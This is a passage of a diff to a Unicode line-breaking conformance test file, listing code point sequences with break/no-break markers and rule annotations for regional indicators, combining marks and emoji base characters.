+× 1F1E6 × 0020 ÷ 1F3FB ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 1F3FB ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1F1E6 × 0001 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1F1E6 × 0020 ÷ 0001 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1F1E6 × 0308 × 0001 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1F1E6 × 200D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1F1E6 × 0020 ÷ 200D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1F1E6 × 0308 × 200D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 200D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 1F1E6 ÷ 00A7 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 1F1E6 × 0020 ÷ 00A7 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 00A7 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 00A7 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 1F1E6 ÷ 50005 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 1F1E6 × 0020 ÷ 50005 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 50005 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 50005 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 1F1E6 ÷ 0E01 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 1F1E6 × 0020 ÷ 0E01 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 0E01 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 0E01 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 1F1E6 × 3041 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 1F1E6 × 0020 ÷ 3041 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 1F1E6 × 0308 × 3041 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 1F1E6 × 0308 × 3041 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 261D ÷ 0023 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 261D × 0020 ÷ 0023 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 261D × 0308 ÷ 0023 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 0023 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 261D ÷ 2014 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 261D × 0020 ÷ 2014 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 261D × 0308 ÷ 2014 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 2014 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 261D × 0009 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 261D × 0020 ÷ 0009 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 261D × 0308 × 0009 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 0009 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 261D ÷ 00B4 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 261D × 0020 ÷ 00B4 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 261D × 0308 ÷ 00B4 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 261D × 000B ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 261D × 0020 × 000B ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 261D × 0308 × 000B ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 261D × 0308 × 0020 × 000B ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 261D ÷ FFFC ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 261D × 0020 ÷ FFFC ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 261D × 0308 ÷ FFFC ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ FFFC ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 261D × 007D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 261D × 0020 × 007D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 261D × 0308 × 007D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 261D × 0308 × 0020 × 007D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 261D × 0029 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 261D × 0020 × 0029 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 261D × 0308 × 0029 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 261D × 0308 × 0020 × 0029 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 261D × 000D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 261D × 0020 × 000D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 261D × 0308 × 000D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 261D × 0308 × 0020 × 000D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 261D × 0021 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 261D × 0020 × 0021 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 261D × 0308 × 0021 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 261D × 0308 × 0020 × 0021 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 261D × 00A0 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
+× 261D × 0020 ÷ 00A0 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 261D × 0308 × 00A0 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 261D ÷ AC00 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 261D × 0020 ÷ AC00 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 261D × 0308 ÷ AC00 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ AC00 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 261D ÷ AC01 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 261D × 0020 ÷ AC01 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 261D × 0308 ÷ AC01 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ AC01 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 261D ÷ 05D0 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 261D × 0020 ÷ 05D0 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 261D × 0308 ÷ 05D0 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 261D × 002D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 261D × 0020 ÷ 002D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 261D × 0308 × 002D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 002D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 261D ÷ 231A ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 261D × 0020 ÷ 231A ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 261D × 0308 ÷ 231A ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 231A ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 261D × 2024 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [22.03] ONE DOT LEADER (IN) ÷ [0.3]
+× 261D × 0020 ÷ 2024 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 261D × 0308 × 2024 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.03] ONE DOT LEADER (IN) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 2024 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 261D × 002C ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [13.02] COMMA (IS) ÷ [0.3]
+× 261D × 0020 × 002C ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 261D × 0308 × 002C ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 261D × 0308 × 0020 × 002C ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 261D ÷ 1100 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 261D × 0020 ÷ 1100 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 261D × 0308 ÷ 1100 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 1100 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 261D ÷ 11A8 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 261D × 0020 ÷ 11A8 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 261D × 0308 ÷ 11A8 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 261D ÷ 1160 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 261D × 0020 ÷ 1160 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 261D × 0308 ÷ 1160 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 1160 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 261D × 000A ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 261D × 0020 × 000A ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 261D × 0308 × 000A ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 261D × 0308 × 0020 × 000A ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 261D × 0085 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 261D × 0020 × 0085 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 261D × 0308 × 0085 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 261D × 0308 × 0020 × 0085 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 261D × 17D6 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 261D × 0020 ÷ 17D6 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 261D × 0308 × 17D6 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 261D ÷ 0030 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 261D × 0020 ÷ 0030 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 261D × 0308 ÷ 0030 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 0030 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 261D ÷ 0028 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 261D × 0020 ÷ 0028 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 261D × 0308 ÷ 0028 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 0028 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 261D × 0025 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [23.13] PERCENT SIGN (PO) ÷ [0.3]
+× 261D × 0020 ÷ 0025 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 261D × 0308 × 0025 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.13] PERCENT SIGN (PO) ÷ [0.3]
